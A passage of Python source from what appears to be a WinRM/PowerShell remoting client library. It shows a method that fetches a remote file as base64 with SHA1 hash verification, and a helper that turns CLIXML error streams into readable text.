= $fs.Length $bytes_to_read = $total_bytes - $offset try { while ($bytes_to_read -ne 0) { $bytes = New-Object -TypeName byte[] -ArgumentList $bytes_to_read $read = $fs.Read($bytes, $offset, $bytes_to_read) Write-Output -InputObject ([System.Convert]::ToBase64String($bytes)) $bytes_to_read -= $read $offset += $read $algo.TransformBlock($bytes, 0, $bytes.Length, $bytes, 0) > $null } } finally { $fs.Dispose() } $algo.TransformFinalBlock($bytes, 0, 0) > $Null $hash = [System.BitConverter]::ToString($algo.Hash) $hash.Replace("-", "").ToLowerInvariant()''' % src with RunspacePool(self.wsman) as pool: powershell = PowerShell(pool) powershell.add_script(script) log.info("Starting remote process to output file data") powershell.invoke() log.info("Finished remote process to output file data") if powershell.had_errors: errors = powershell.streams.error error = "\n".join([str(err) for err in errors]) raise WinRMError("Failed to fetch file %s: %s" % (src, error)) expected_hash = powershell.output[-1] temp_file, path = tempfile.mkstemp() try: file_bytes = base64.b64decode(powershell.output[0]) os.write(temp_file, file_bytes) sha1 = hashlib.sha1() sha1.update(file_bytes) actual_hash = sha1.hexdigest() log.debug("Remote Hash: %s, Local Hash: %s" % (expected_hash, actual_hash)) if actual_hash != expected_hash: raise WinRMError("Failed to fetch file %s, hash mismatch\n" "Source: %s\nFetched: %s" % (src, expected_hash, actual_hash)) shutil.copy(path, dest) finally: os.close(temp_file) os.remove(path) @staticmethod def sanitise_clixml(clixml): """ When running a powershell script in execute_cmd (WinRS), the stderr stream may contain some clixml. This method will clear it up and replace it with the error string it would represent. This isn't done by default on execute_cmd for various reasons but people can call it manually here if they like. :param clixml: The clixml to parse :return: A unicode code string of the decoded output """ output = to_unicode(clixml) if output.startswith("#< CLIXML\r\n"): serializer = Serializer() output = output[11:] element = ET.fromstring(output) namespace = element.tag.replace("Objs", "")[1:-1] errors = [] for error in element.findall("{%s}S[@S='Error']" % namespace): errors.append(error.text) output = serializer._deserialize_string("".join(errors)) return output